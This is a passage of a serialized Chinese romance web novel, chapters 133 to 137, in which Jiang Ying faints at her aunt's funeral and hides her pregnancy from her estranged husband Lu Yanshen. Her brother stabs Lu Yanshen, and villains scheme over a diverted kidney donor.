梁玥原本也是一脸恨意的看着陆砚深,没有注意到,江莹往前栽倒,等她反应过来,她已经控不了局面。
陆砚深急忙跪着往前爬了一步,让江莹直接靠在他肩头。
宋瑾修本来在帮着处理丧葬的事,走进来看到眼前的景象,直接上前。
他一把扶住江莹,声音冷冽,“陆总,既然你选择消失四天,为什么还要回来?”
陆砚深看江莹脸色苍白地倒在宋瑾修怀里,急忙道:“梁玥,快叫救护车。”
梁玥瞪了他一眼,“陆砚深,你早晚会后悔,你会后悔自己这么对待江莹。你知不知道……”
在梁玥差点脱口而出之际,宋瑾修吼道:“梁玥,跟他废什么话,赶紧叫救护车。”
江墨从来到殡仪馆,就没有说过一句话,这堂叔陪同下去选骨灰盒,进来看到陆砚深,还有靠在宋瑾修怀里昏迷不醒的江莹,心里的恨意直冲大脑。
他上前一拳打在陆砚深脸上,瞬间鼻子和嘴角有血渗出。
江墨用了十成的力气,眼里的恨比江莹更甚,“陆砚深,我要杀了你。”
陆砚深**墨一拳打得脚步踉跄,差点再次倒地。
张启明得知穆青**,匆匆前来吊唁,看到这一幕心里咯噔一下。
“江墨,你发什么疯,怎么能打你姐夫?”
张启明吼完江墨,扶住陆砚深,“砚深,江墨年纪轻,易冲动,你别跟他一般见识。”
江墨看着眼前最讨厌的两个人,心里的恨意达到了极点,“你们俩一个脏,一个心黑,没有一个好东西,都滚。”
陆砚深猛地甩开张启明的手,力道大得连带着自己的身形都晃了一下。
张启明好心去劝,没想到自己惹了一身骚不说,还被陆砚深直接掀翻。
他连退两步后,脚下不稳直接摔倒在地上,整个人趴在穆青遗体侧边,匍匐在地的样子,像是虔诚的在赎罪。
孟澜和梁玥都看傻眼了,心里莫名觉得爽。
张启明,他怎么好意思来,当初若不是他不愿意给医药费,江莹至于吃那么多苦?
陆砚深没有看张启明一眼,也顾不上去擦拭嘴角的血迹,那双深不见底的眸子一刻都没有离开过江莹。
看着那个脸色惨白、毫无生气的女人软绵绵地倒在宋瑾修怀里,他感觉自己有些呼吸不畅,心脏钝疼。
他捂着胸口,眉峰紧紧拧在一起。
宋瑾修打横抱着江莹,步履匆匆地越过他,径直朝门外走去。
陆砚深上前挡住他的脚步,想要从他怀里接过江莹。
梁玥气得不行,这个时候装好人,早干嘛去了。
她故意用肩膀将陆砚深撞到一边,“走开,好狗还知道不当道儿呢。”
“陆总!”
杜宇刚交代人跟殡仪馆的工作人员对接流程,急匆
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匆赶来,看到眼前这一幕,倒抽了一口凉气。
他怎么也没想到,局面会闹到这种无法收场的地步。
看到江莹晕倒在宋瑾修怀里,江墨那双恨不得**的眼神盯着陆砚深,杜宇只觉得头皮发麻。
想到江莹会生气,但没想到会这么严重。
“陆总,我们先走吧。”杜宇压低声音劝道:“这里毕竟是灵堂,闹得太难堪,对逝者不敬。”
陆砚深下颌线绷得死紧,垂在身侧的手用力攥成拳头,手背上青筋暴起。
脸颊上火辣辣的巴掌印和嘴角的腥甜,都抵不过他此刻心头那股莫名的慌乱。
他深深地看了一眼宋瑾修离去的方向,强压下眼底的暗涌,紧紧跟了过去。
……
江莹醒来,已经是第二天中午。
刺目的白炽灯光让她有一瞬间的眩晕。
意识到自己在医院,她猛然坐了起来,抬手去摸自己的小腹。
看到她醒来,孟澜赶紧扔下削了一半的苹果,“莹莹,感觉怎么样?”
“我……孩子……”
江莹破碎的声音,让孟澜心疼,“放心吧,宝宝没事,好好的在你肚子里待着呢。”
听到这句话,江莹紧绷的身体骤然脱力,软绵绵地跌回靠枕上。
她深吸一口气,双手依旧护在平坦的小腹上,眼角滑下一滴劫后余生的泪。
孟澜看着她这副样子,心疼又来气。
“你还知道后怕啊?这么大的事,你居然连一声都不吭,死咬着牙硬抗!”
“前天下午连着搞了几个小时的直播,紧接着又为了你舅妈的丧事奔波熬夜。”
“你当自己是铁打的变形金刚吗?”
孟澜越说越气,戳了一下她的脑门,“你就算不拿自己的命当回事,也得顾及肚子里的这两个宝宝吧!”
“你要是再这么不注意身体,我告诉你,你真的养不起他们!”
“你要是真爱孩子,就给我好好爱惜自己的身体!”
孟澜一连串的话,江莹非但没有烦,反而释然地笑了下。
江莹垂下眼眸,感受着掌心下传来的微弱温度,在心底暗自庆幸,还好,命运没有残忍到把她最后的希望也剥夺走。
庆幸过后,昏倒前的画面在脑海中闪现,她的呼吸再次急促起来,“陆砚深……他知道我怀孕的事吗?”
第133章 又是一个巧合
昏倒的时候陆砚深就在现场,若是被他察觉出端倪,这孩子她绝对留不住。
陆家不可能允许骨肉流落在外,而她也绝不可能让自己的孩子去给秦欣当继子。
孟澜看着她担忧的神色,摇了摇头,“放心,这两天师哥、我还有梁玥,轮班守着你。防贼一样防着陆砚深,根本就没让陆砚深靠近你。孩子的事,**。”
江莹闻言,如释重负地吐了口水,好险,差点就被他知道了。
陆砚深一直被防着,虽然担心,无奈进不了病房,甚至连医生护士都对他缄口不言。
这会儿坐在办公室,听杜宇说江莹已经醒,心里松了口气。
静默几秒回神,“你怎么知道太太已经醒了?”
杜宇:“……”
他能说自己是买通了保洁阿姨吗?会不会太掉价了?
“那个,我家里给我介绍了个对象,在医院工作。本来我不太满意,但没有办法,就联系了她。”
陆砚深盯着他皱眉,“医护人员职业神圣,就你这样的有什么不满意的。”
杜宇嘴角颤颤,看在某人被老婆嫌的份儿上,他忍了。
“陆总,**的事有点蹊跷,我们走之前有人去打听过这个人。然后隔了两天,这人就被转移了。穆青女士病情恶化,宋瑾修提供**。这一切是不是太巧了?”
“查一下去监狱打听他的人是谁,跟宋瑾修有没有关系?”
“查了沿途监控,很谨慎,全程看不到脸。监狱里面的监控拿不到,需要周警官想想办法。”
杜宇第一次遇到警惕性这么高的人,不光没看到人脸,人家连车都没有开,从第四监狱出来不久就避开了所有监控。
“我跟周野说。”陆砚深说完停顿了几秒,若有所思道:“公司年会流程从简。”
杜宇点头,心里替老板遗憾,“给太太定制的旗袍和首饰都到了,您看……”
“先放车里,明天的工作都推了。”
杜宇说了声“好”离开。
明天是穆青的葬礼,想到江莹倔强又憎恨的那双眼,陆砚深心口一窒。
正如杜宇所说,这件事太巧合,周梅有肾炎这事他早就知道,巧就巧在偏偏在他出国时穆青病情恶化,捐肾的人被转移。
陆砚深再次感觉背后那只无形的手,在牵制他,让他摸不清这人是否真的存在,目的又是什么?
他整出神,杜宇突然又敲门进来。
“陆总,还有一件事忘了跟你说。”
“说。”
陆砚深摩挲着手腕上的表,神色缓和了不少。
“去第四监狱发现了一件事,那个愿意捐献器官的人犯人就是三年前太太车祸的肇事司机。”
杜宇这话让陆砚深摩挲腕表的动作,倏然顿住。
捐赠的消息是周野给他的,他对此并没有过多的盘查,没曾想竟然还会有这层关系。
“当年的车祸有没有异常?”
“从我们得到的消息看没什么异常,就是货车司机疲劳驾驶。”
又是一个巧合,过多的巧合集中出现,就不是简单的巧合这么简单。
陆砚深眸色深沉而笃定,这件事不简单。
……
次日,城北公墓。
天色阴沉细碎的雪粒夹杂在刺骨的寒风中,打在人脸上生疼。
今天是穆青出殡的日子。
江莹身着黑色羽绒服,胸前别着白花,静静地站在江墨身边。
她看着墓碑上舅妈温婉的笑容,已经不再流泪。
逝者已矣,她能做的就是兑现承诺。
江莹将一束白菊放在墓碑前,深深地鞠了一躬,送舅妈最后一程。
江墨从那天江莹晕倒后,就没有说过一句话,也没有再掉一滴泪。整个人机械地跟着行礼,跪拜,看得江莹心里难受。
他从小舅舅和外公对他的要求就严格,说男孩子不能娇惯。
舅母就不一样,总是忍不住就宠他,他对舅妈的依赖和爱,可想而知。
至亲离世不可能说缓过来就缓过来,江墨需要时间接受,江莹担心却也无能为力。
而在距离墓地几十米外的一棵雪松旁,陆砚深正静静地伫立着。
一身黑色大衣,仿佛与这阴沉的天色融为一体。
因为江莹不让他祭拜,他没有上前打扰,只是用那双漆黑的眸子,一瞬不瞬地盯着那个纤细却挺拔的背影。
看着她平静地献花,看着她安抚痛哭的江墨,明明瘦弱,却如同风中的蒲苇柔弱缺不催。
陆砚深隐隐觉得心慌,像有什么东西正在指缝间流逝。
……
葬礼结束,人群散去。
宋瑾修开车,将疲惫不堪的江莹送回了梧桐里。
他不放心江莹,叮嘱梁玥和孟澜留下来陪她。
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屋内暖气充足,江莹窝在沙发里,手里捧着孟澜给她热的牛奶,脸色依旧不算好。
这时,院子外传来一阵汽车引擎声。
梁玥站在窗前勾头往外看,看到陆砚深从车里下来,她皱眉看向江莹。
她深吸一口气,控制自己的脾气,不想压根就没用,一点都控制不住,拿起扫把直接出门。
孟澜不明所以,一把拉住她,“那干什么去?”
“撵狗。”
“啊?”孟澜眨眨眼,“哪里有狗?你拿个扫把,不怕狗发疯咬你?”
梁玥原本气得不行,被她这么一打岔“噗嗤”笑了出来。
紧接着就是门口传来机械的提示音,“滴滴,密码错误。”
孟澜一愣,还没有明白过来,只见梁玥已经冲了过去。
猛地抬手,直接拉开门,扫把一横,颇有一夫当关万夫莫开的气势。
陆砚深正愁,看着满脸敌意的梁玥,眉头皱得更深。
“澜澜,写几个字,挂门上。”
孟澜这会儿彻底明白撵狗是什么意思了,完全没有想到陆砚深是他实际上的甲方,而是对渣男上头。
周野渣,他身边的人也好不到哪儿去,更何况陆砚深跟秦欣绯闻不断。
“狗和姓陆的不能进,对吧?”
梁玥惊喜,转头对她竖起了大拇指,“对,理解很到位。”
江莹看着自己两个好姐妹,低迷的情绪好了不少,舅妈走了,但身边还有很多爱她护她的人。
老师听说她家里的事,正在国外度假都吵吵着要回来。
更何况自己还有那么多事,还有宝宝,她不能一直这么低沉。
“我有话跟江莹说。”
陆砚深沉着脸,一向高高在上的人,被人堵在门口骂作是狗,心里的不爽可想而知。
“看什么看?我们家莹莹现在好得很,不需要你看。”梁玥毫不客气地怼他,“识相的赶紧走,要不然扫把不认人,管你是什么狗屁总,照打不误。”
陆砚深强压着性子,“我有事跟江莹说,别逼我动手。”
孟澜助攻,走过来守在另一侧,“陆总,你这反射弧是不是太长了点?人活着的时候你见死不救,找不到人。现在人不在了你跑来装什么深情?”
“对,莹莹跟你没什么好说的,你为了那个绿茶婊把捐赠者转走那一刻,所有情分都断了。”
第134章 凄惨的童年
陆砚深脸色瞬间阴沉下来,眼神冷得掉渣,“梁玥,注意你的言辞。”
“我言辞怎么了?我哪句话说错了!”梁玥根本不吃他那一套,声音瞬间拔高了八度。
“你把人藏起来,不就是想把**给了那个绿茶婊的人,怎么还有脸站在这里?”
陆砚深紧握着的双手指节泛白,江莹果然是这么想的。
孟澜剜了他一眼,“陆总,请吧,别让我们把话说得更难听。”
“你未来丈母娘不是快不行了吗?赶紧去床前尽孝吧!”
梁玥指着门外的大马路,字字句句像刀子一样往外甩。
说完,梁玥不再给陆砚深还嘴的机会,拿着扫把往他身上戳。
陆砚深本能后退半步,紧接着“砰”一声,房门关上。
陆砚深被拒之门外,脸色铁青地站在寒风中,胸膛剧烈起伏。
他不是生气,是后怕,梁玥和孟澜都这么气,江莹心里的结怕是更重。
若不是在走之前就确认了周梅可以不用**,他怕是跳进黄河都洗不清。
陆砚深慌神间,大衣口袋里的手机震动起来。
他深吸一口气,掏出手机,看到“秦欣”两个字眉头皱得更深。
陆砚深盯着那个名字看了几秒,最终还是划开了接听键。
“砚深……”电话刚接通,秦欣有些激动的声音传了过来。
“怎么了?”陆砚深的声音透着一丝不易察觉的疲惫和不耐。
“你现在能来一趟医院吗?”秦欣吸了吸鼻子,语气里满是欣慰,“杰森医生太厉害了,我妈这两天明显有了好转,人已经醒了。”
说到这里,秦欣的声音带上了几分小心翼翼的试探。
“我妈说……她想见见你。”
陆砚深握着手机的手微微收紧,正想说什么,房门突然从里面打开。
江莹拢着衣服站在门口,面无血色,“陆总,我买**消息的一个亿,办离婚的时候记得给我。还有,我家不缺看门狗,尤其是跟别的母狗偷情的狗。所以,请离我家远一点。”
江莹本来不死心,想问清楚是不是他把人转走的,结果听到秦欣说周梅醒了,心底凉了个透彻。
周梅活着,舅妈却再也没有机会睁眼,而始作俑者就是她爱了多年的丈夫。
江莹抬脚,目标朝向他命根子。
陆砚深本来没想躲,见情况不对,慌忙错身,但并没有全躲,还是任由她发泄。
没来得及挂断的电话那头,秦欣小声道:“对不起,砚深,又给你添麻烦,让莹莹误会了。你好好陪莹莹,我会给我妈说明情况,莹莹现在一定很伤心。”
陆砚深看了眼江莹,抬手攥住她的手腕,目光沉沉落在她身上,声音凉透,“秦欣,今天是什么日子,周阿姨或许不知道,但你不会不知道,你要控制不住自己的行为,别怪我帮你控制。”
他说完挂了电话,将人扯到怀里,“事情不是你想的那样,给我点时间,我会查清楚。”
江莹挣脱不了,直接咬在他肩头。
“嘶!”
陆砚深倒抽一口凉气,忍着痛抬手在她后背轻拍帮她顺气。
“陆砚深,我恨你!”
江莹松口,眸色清冷,一字一句说出这句话。
陆砚深心口一窒,心跳仿佛停了两秒,他定定看着江莹,酸涩感直冲鼻尖。
江莹瞥了他一眼,趁他失神一把将人推开,“滚,别再出现在我面前。”
陆砚深本来就担心她情绪不好,所以不受控制地跟了回来,现在看来自己若是拿不出证据,江莹得恨死他。
“好好休息。”
他说完离开,看来江莹是认定他把人转走的,自己的出现只会让她更生气。
陆砚深心里装着事,完全没有注意到,自己身后一直有人盯着,一双眸子带着想要他死的恨意。
当天晚上,城南酒吧。
角落里坐着一对男女。
秦欣拿起酒杯碰了碰对面宋瑾修的,勾唇笑道:“说真的,我现在不光觉得你恶心,还觉得你特别可怕。短短几天,周梅发病支走陆砚深,穆青病情恶化急需**,偏偏捐赠者被转移,一环扣一环这里面需要多少资源和人脉,我不敢想,看来你的实力对我也有所保留。”
宋瑾修不耐烦地睨了她一眼,“别得意太早,陆砚深不是傻子,他二十七岁能坐稳陆氏总裁,就不是等闲之辈。想想被他知道轩轩的身世,你会死得很难看。”
秦欣脸上的调侃之色消失,取而代之的是狠毒,“所以,我一直说那个老太婆不能留。”
“她的作用基本上等于零了,想除掉她,就看你有没有那个胆。”
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秦欣瞪了他一眼,“积点德吧,我的手脏了,儿子就成孤儿了。”
她这话让宋瑾修想起自己小时候,那个瘦小可怜的自己,那段凄惨的童年时光。
七岁那年母亲去世,被小姨收留,开始寄人篱下的生活。
世界塌了一角,是小姨林晚红红着眼眶,把他带回了自己的家。
他小姨生杨慧时身体落下病根,身子骨弱,常年药不离口,咳嗽起来甚至连腰都直不起。
小姨夫是个暴躁的人,创业接连失败后,将所有的不满和戾气都发泄在了小姨身上。
甚至嫌弃小姨生的是个女儿,没能给他传宗接代。家里本就勉强糊口,如今多了一个外人,他的怒火更是没日没夜地烧。
那段日子宋瑾修这辈子都不会忘,吃饭只敢扒碗里的白饭,夹菜要等所有人吃完,衣服是小姨捡来的旧衣裳,洗得发白,他却要叠得整整齐齐显得自己不嫌弃,很喜欢。
他不敢哭,不敢闹,甚至不敢大声说话,生怕一点动静,就引来小姨夫的打骂。
可即便如此,毒打依旧如影随形。
不是你不够好,而是有人从始至终都看不上你,不想让你好过。
小姨夫好赌,每次输光了钱,浑身酒气地撞开门,家里就成了人间炼狱。他骂小姨是丧门星,生不出儿子还养闲人,骂他是吃白饭的野孩子,骂他妈是个**,没结婚生下没人要的野种。
拳头和巴掌不分轻重地往宋瑾修身上落,小表妹吓得躲在床底瑟瑟发抖,小姨则死死护在他身上。
小姨越是护着他,小姨夫越是生气。到后来,明白这个道理之后,他安慰小姨说他不怕疼,她不护着他,他反而会少挨点打。
九岁的孩子,不再反抗,任由一个成年男人发泄,毕竟他**家的,住人家的。
秦欣看他盯着酒杯,手指发白,挑眉间声音不屑,“又在想怎么害人?你这种人会死得比较惨。”
宋瑾修回神,等着她眼神里没有一丝温度,“你不想死就老实点,天下这么多男人,你随便找,天天换都行,为什么非要陆砚深,他有什么好,让你惦记这么多年?”
“江莹有什么好的,你不也惦记这么多年,不惜为了她冒险。”
秦欣声音同样不屑,对他的阴冷并不害怕,谁让她手里有资本。
第135章 想办法找到他
“呵”,宋瑾修嗤笑,“我们俩没有可比性,你想要的太多,而我曾经愿意为了她放弃一切,放下一切。”
江莹是他灰暗人生里唯一的一束光,明媚、温暖,是他贪恋的温度。遇到江莹之前他所有的心思都只为了一件事,但那些都不是他想要的。
只有江莹,她的出现,让他知道不是所有人都不喜欢他。有人愿意对他好,愿意把他当亲人。会在他失意时鼓励他,在他小有成就时为他骄傲。
而他发自内心想要得到的,也只有那个暖如骄阳的姑娘。
若当初江莹肯接受他放弃陆砚深,他不会走到今天这一步,三年前他会悬崖勒马。
然而,陆砚深再一次不费吹灰之力就抢走了他最爱的人。
陆砚深像一根刺扎在他心里,所有人都选择了他,他已经拥有一切,却还是抢走了他最爱的女生。
秦欣冷笑,“别把自己说的那么伟大,你不还是跟我一样不择手段,我甚至怀疑你目的到底是不是只为一个女人。若是只为了江莹你为什么布局让许振清跳进去?”
这件事秦欣一直搞不懂,她意外知道后宋瑾修一直提醒她守口如瓶,不该说的不说,不该问的别问。
宋瑾修警告地看她一眼,“别觉得你在我这儿有多特殊,更别想着琢磨我,否则你怎么上位,我让你怎么下来。”
秦欣不耐烦地瞪了他一眼,“你叫我来干什么,庆贺你抱得美人归似乎早了点。”
宋瑾修抿了一口酒,“陆砚深看重那个老太婆,你继续装你的好儿媳,只要是能够威胁到陆砚深的人都是你的底牌。”
秦欣听到这话就烦,“整天管一个几乎陌生的人叫妈,还要装孝顺,你怎么不去试试,你不是没妈,干脆你认她……”
她话没说完“啪”一个清脆的耳光落在脸上,赫然留下一个五指印,整个人有点懵。
“我说过你在我这儿并不特殊,在我面前提我妈的人从来没有好结果。”宋瑾修睨了她一眼,眼神狠厉,“叫你来是通知你,公司的烂摊子收拾好,职业经理人去了肯定会查账,你最好别留尾巴。”
秦欣这会儿反应过来,错愕地看着他,心里升起一股后怕,这个人不是她能惹的,若是不是有儿子在,她怕是早在三年前就**。
也正是有儿子在,让她觉得自己有资本跟他叫嚣,现在看来是自己高估了他的人性。
“放心,我会处理好。”
秦欣说完准备走,被宋瑾修叫住,“你要的是陆砚深,我会把他给你。时机成熟,我会送轩轩出国,你就可以不用天天面对一个你不喜欢的孩子。但在此之前,别再让故意让他生病受伤,欺负孩子不懂事。”
宋瑾修的话,让秦欣有些羞愧,轩轩是她的资本,是她笼络陆砚深的资本,也是她在这个魔鬼面前得以活下来的资本。
但,她确实对那个孩子喜欢不起来,正是因为他的存在,让她在得知陆砚深要结婚时,连哭的资格都没有。
秦欣走后,过来一个男人,在宋瑾修对面坐下,“宋总,南边问进展,你看怎么答复?”
“过完年让人过来,实验室已经可以投入使用。”
“好,他们检测之后我们就可以大批量生产。”
男人说话间双眸闪光,兴奋地连喝了两杯酒。
宋瑾修睨了他一眼,“夹起尾巴,出任何纰漏第一个死的就是你。”
男人瞬间一凛,兴奋之色消失,取而代之的是警惕。
“宋总放心,我一定小心行事。”
此时的夜色,陆砚深跟周野**在包间。
两人眼神交换,然后看向碍事的沈斯阳。
片刻,周野开口,“斯阳,去把你地窖里的好酒拿一瓶,这哥们儿都这样儿了,陪他喝两杯。”
沈斯阳平时小气,但自己兄弟有事,他还是会两肋插刀的,更何况是一瓶酒。
“行,我去拿。”沈斯阳起身,看了一眼周野,“再纠正一次,那不是地窖,是酒窖。”
沈斯阳给了他一个鄙视的眼神,“狗东西,在部队挖地道挖多了吧?”
周野挑眉不跟他争辩,桃花眼看起来有些浪荡,“是是是,酒窖酒窖,咱一个土包子,叫不习惯那洋玩意儿,沈总别计较。”
沈斯阳皱眉,“在部队这么多年,还这么骚,国家都救不了你。”
不过该说不说,他这次是有史以来认错态度最快的,或许是看陆砚深情绪不好,不想惹他烦。
这么一想,沈斯阳也不跟他斗嘴,快速去酒窖拿酒。
看人走,周野开口,“你电话里说的事,我托关系去查了,说是接到上面的指示,而且烦人本身也说他在这个监狱有生命危险,别人逼着捐肾。”
陆砚深傻眼,然后傻傻地问:“他真这么说?”
周野抽了口烟,弹了弹指间的烟灰,“我看了记录,他确实这么说,说之前的捐赠也是被人逼迫。如果证实他所说的人是你,你和我的处境不用我说。”
陆砚深当然知道这意味着什么,消息是周野给他的,这等于直接把他们俩都扯进去了。
周野滥用职权
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是小,强迫他人捐献器官这一条一旦坐实,陆砚深怕是要面临刑事责任。
“最近我总觉得背后有一只手,而且这只手怕是早就在助推,我姐夫的事没有那么简单,但我现在没有证据,所以只能暂时搁置。”
陆砚深的话让周野神色严肃了几分,“若是真有人在背后使坏这是冲你来的呀,会不会是你三叔?”
陆砚深摇头,神色凝重,“他没这个脑子,也没这个人脉,顶多也就是使点坏。能轻易转移一个犯人,得是局级以上。”
周野思索片刻,再开口,声音低沉,“明天是你们公司年会,再有两天也该过年了,你得小心。”
陆砚深深吸一口气,声音有些沉重,“我怕年前这事就会有结论,这个年应该不会太平。”
其实,周野也是这么想的,怕陆砚深压力大没有明说而已。
“分头行动吧,我去弄清楚到底谁下的指示,你去查清楚去监狱打听情况那人是谁,找到那个人或许会得到一些有用的信息。我在第四监狱的监控里截了那个人的照片,等下发你手机上,他用的身份证是假的,目前没什么线索,你想办法找到他,应该会有所收获。”
陆砚深点头,“你会不会影响到你?”
周野故作轻松,挑眉笑得浪荡,“哥们儿现在在刑警队,管的就是这事。再说了你知道的,我有了兜着。”
陆砚深多少知道一些周野的事,知道他这次回来目的一般,也知道他所说的有人兜着并不是说他老爹。
“行,注意安全,跟斯阳说,这酒先留着。”
周野勾唇,“狗东西,就喜欢你这股劲儿,你说你为什么不是个女人?”
陆砚深白了他一眼,拿起外套走人。
出了夜色勿勿上车,在江北找一个人,即便是掘地三尺,他也不怕,更何况是在如今这样的信息化时代。
他现在是要跟时间赛跑,在警方定性他强迫他人捐献器官这个罪名下来之前,找到有用的线索,要不然怕是会乱。
一路上,陆砚深跟杜宇说了很多,交代他万一出现异常情况,务必稳住公司局势。若是他不在,他可暂行总裁权利。
杜宇听到这话,身上一僵,“陆总……”
“别问太多,按我说的做。”
杜宇知道事情不简单,但能让陆砚深做这样的准备,看来这次的麻烦不小。
陆砚深回到湖心公馆,看着曾经不管多晚都会有光亮的家,他默默点了根烟。
这时,身后传来一声熟悉的声音,“陆砚深……”
第136章 **了
陆砚深回头,借着路灯,看清了来人,是江墨。
少年穿着单薄的黑色卫衣,站在寒风里,死死盯着他。
那种眼神,陆砚深不是没有见过,三年前那场意外发生时,他见过这种眼神,是要将人弄死的狠和恨。
陆砚深皱了皱眉,声音沉下来,“你怎么在这里?赶紧回去,时间不早了,别让你姐担心。”
他刚经历丧母之痛,陆砚深不想在这个时候跟他起冲突,传到江莹耳朵里,又是一场误会。
“闭嘴!”江墨声音里的恨意掩饰不住,他一步步靠近,“你有什么资格提我姐?你让我姐痛苦了三年,让我妈等了那么久,结果转头要把**留给那个姓秦那个女人她妈。若是我妈用了之前就说好的**,或许就不会有那么强烈的排异反应,那她就不会死。”
江墨说着冲着陆砚深奔了过去,扯着嘴角冷笑了一下,“陆砚深,你就是个**凶手,**吧。”
陆砚深猛然看到他手里的刀,本能要躲,但身后是车,他没有退路。
江墨猛然伸手,用力将手里的刀直直捅了出去,甚至听到了“噗嗤”一声闷响。
陆砚深知道江墨讨厌他,恨他,或许会打他,但他是真没有想到江墨会拿刀捅他。
腹部尖锐的剧痛,让他不受控制地晃了晃,温热的液体瞬间涌了出来,浸透了衬衫。
下一秒,温热的液体顺着江墨的手往下滴,让他握着刀柄的手在剧烈颤抖起来。
他呆呆地看着陆砚深,似乎不敢相信自己真的捅了下去。
陆砚深死死咬着牙,额头上瞬间渗出冷汗。
这时,巡逻的保安,拿着手电筒往他们这里照,院里没有开灯,又站着人,显得有些异常。
陆砚深没有喊,也没有还手,忍着剧痛,用力将人推开,咬牙道:“快走。”
江墨踉跄着后退了两步,低头看向自己的手。
满手的血。
温热,触目惊心。
“**了…我**了…”江墨喃喃自语,彻底慌了神。
陆砚深捂住不断涌血的伤口,身子顺着车门缓缓往下滑。
他大口喘着粗气,颤抖的声音急切,“赶紧走!”
若是江墨因为故意**被抓进去,江莹会彻底崩溃,也会恨他一辈子。
江墨吓得身体一抖,手的刀“哐当”一声掉在地上,然后转身就跑。
陆砚深看着他跑远的背影,眼前一阵阵发黑,摸出手机想给杜宇打电话。
可是还没等他按下号码,远处就传来了嘈杂的声音。
“站住!干什么的?”
江墨疯了一样跑,但终究没有训练有素的保安跑得快,刚跑到大门口就被死死按在了地上,脸颊蹭破了皮,一阵生疼。
这时从小区里过来一个人,一脚踩在江墨手上,咬牙切齿道:“陆总说这个人蓄意**,赶紧报警。”
江墨另一只手像是不知道疼了,声音里是刺骨的绝望,“陆砚深你个**子!让我走,又让人抓我,你不得好死!”
陆砚深靠在车门边听着隐隐的嘈杂声,心口猛地一沉,彻底昏死过去。
……
将近凌晨两点。
江莹连着好几天没有睡个安稳觉,今晚特意熏了助睡眠的香,所以睡得早。
这会儿睡得正沉,床头的手机突兀地响了起来。
在寂静的房间里,一遍一遍像催命符一样。
她猛地惊醒,心脏不受控制地狂跳。
拿过手机,屏幕上跳动着乔云舒的名字。
江莹接通电话,乔云舒急切的声音传来过来,“表嫂,你来一趟医院,我表哥正在抢救。”
江莹脑子还有点懵,“云舒,你说什么呢?”
“是真的,你快来吧,我表哥被人捅了一刀,扎得很深,伤到了内脏。”
江莹的脑子里“嗡”的一声,仿佛有什么东西炸开,后面的话她一个字都没听清。
陆砚深被捅了?在抢救?
“表嫂,你快来吧。”
江莹回神翻身下床,穿着睡衣裹了外套就往外跑。
赶到市中心医院时,抢救室外面的走廊上已经站满了陆家人。
江莹刚站稳,陆君气势汹汹冲到她面前。
“啪”一个耳光,狠狠甩在了江莹脸上。
“你还有脸来?砚深要是有个三长两短,我要你们姐弟
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俩偿命!”
江莹被打得偏过头去,耳朵里嗡嗡作响,嘴角渗出了一丝血迹。
她恨恨盯着陆君,气不打一处来,刚准备还手,陆君破口大骂,“你们家没有一个好东西,全都是吸血鬼。砚深怎么得罪你们了,这些年给你们**的还不够多嘛,你那个弟弟竟然想要他的命。”
听到是江墨捅的刀,江莹抬到半空中的手顿住,是江墨干的?
陆静淑一脸担忧地拉住陆君,“这里是医院,大呼小叫的像什么样子?到底怎么回事还没有弄清楚,你怪她有点早了。”
陆静淑转头看向江莹,眼神复杂,“砚深伤在腹部,刀捅得比较深,伤到了内脏,你表弟已经被警察带走了。”
江莹听到这话,腿一软,险些栽倒在地上。
一直站在旁边的乔云舒眼疾手快,伸手扶了她一把。
江莹紧紧抓着乔云舒的胳膊,手指冰凉。
舅妈刚刚才走,小墨现在又因为**未遂被抓了进去。
她在舅妈临终前信誓旦旦说一定会护好他,结果,舅妈刚入土,江墨就出事了。
江莹咬着唇,眼泪在眼眶里打转。她抬头看着抢救室的门,心里莫名恐惧
几天前她在抢救室门外等,最后舅妈还是走了,这种没有答案的等待,让她心里空荡又揪痛。
陆君被陆静淑呵斥过后,不再看江莹,心里对江莹的恨又深了几寸。
时间一分一秒的过去。
走廊里彻底安静,江莹甚至能听到自己“咚咚”的心跳声。
两个小时后,抢救室门上的红灯终于熄灭了。
医生满脸疲惫地走出来摘下口罩,“手术很成功,脱离了生命危险,但伤到了脾脏,加上失血过多,需要好好养一段时间。”
江莹紧绷的神经,在这一刻如同绷到极致的琴弦,应声而断。
她靠在座椅上,瞬间瘫软,眼泪也不争气地往外涌。
她恨陆砚深,但不管有多恨,从来都没有想过要他死。
护士推着人出来,江莹被乔云舒扶着走了过去,看到原本冷硬的人,这会儿脸上没有一点血色,静静地躺着,她眼泪掉得更凶。
第137章 承诺书
夜深了,窗外又开始落雪。
病房里只开了一盏昏暗的壁灯,安静的只能听到监护仪规律的滴答声。
江莹坐在床边的椅子上,静静地看着病床上的男人。
陆砚深还没有醒。
他的脸色苍白得像纸一样,平时总是紧皱的眉头此刻舒展着。
褪去了平日里那副高高在上、不近人情的冷漠,看起来竟然有些脆弱。
江莹的视线落在他没有血色的嘴唇上。
世事无常,他们怎么就走到了这一步?
江莹看着他,眼底的情绪复杂得像是一团乱麻。
她恨他。
恨他的冷漠,恨他三年的婚姻里对自己视而不见。
恨他一再为了秦欣,将她的尊严踩在地上磋磨。
可是,当听到他抢救的那一瞬间,她心里的恐慌也是真的。
她不想他死。
江莹将头轻轻靠在病床边,连日来的疲惫和心力交瘁让她没有力气去计较。
江墨还在派出所,他能不能平安出来,还要看陆砚深醒来怎么说,江墨她一定要保。
想着想着,她就这么趴在床边沉沉地睡了过去。
第二天清晨。
微弱的晨光透过窗帘的缝隙,斑驳地洒在病床上。
陆砚深的手指微微动了动。
腹部传来的牵扯痛感,让他瞬间清醒,昨晚发生的事一股脑涌入。
他微微偏过头寻找自己的手机,却到了趴在自己手边,睡得正熟的江莹。
她瘦了。
巴掌大的脸上没什么血色,下巴也尖了不少,整个人瘦了一圈。
即便睡着,眉头依旧紧蹙,眼底有一圈浓重的青灰,浓密的睫毛轻颤,似乎睡得很不安稳。
陆砚深的目光渐渐变得柔和。
心底最柔软的地方,像被什么东西撞了一下,酸涩得发疼。
他抬手,轻轻落在了江莹的头顶,手指穿过她柔软的发丝,引起一阵细密的温热触感,从指尖传至心间。
这一刻,他体会到了什么叫失而复得,有多久没有这么静静看着她,他已经记不清。
这种久违的温暖,让他害怕自己稍稍用力就会戳破这一刻的美好。
陆砚深的手虚虚抚在她头上,贪恋此刻的宁静。
就在他的手指轻轻抚摸着她的发丝时,江莹长长的睫毛颤了颤,悠悠睁开了眼睛。
四目相对。
病房里的空气,有那么一瞬间凝滞。
江莹看着他停在自己头顶的手,愣了两秒。
随后,直起身子,往后退了一段距离。
眼神里的脆弱收敛得干干净净,取而代之的是一如既往的清冷和防备。
“你醒了。”
语气平静得没有一丝波澜。
陆砚深的手僵在半空中。
掌心里的温度骤然抽离,心底不由涌起一阵失落。
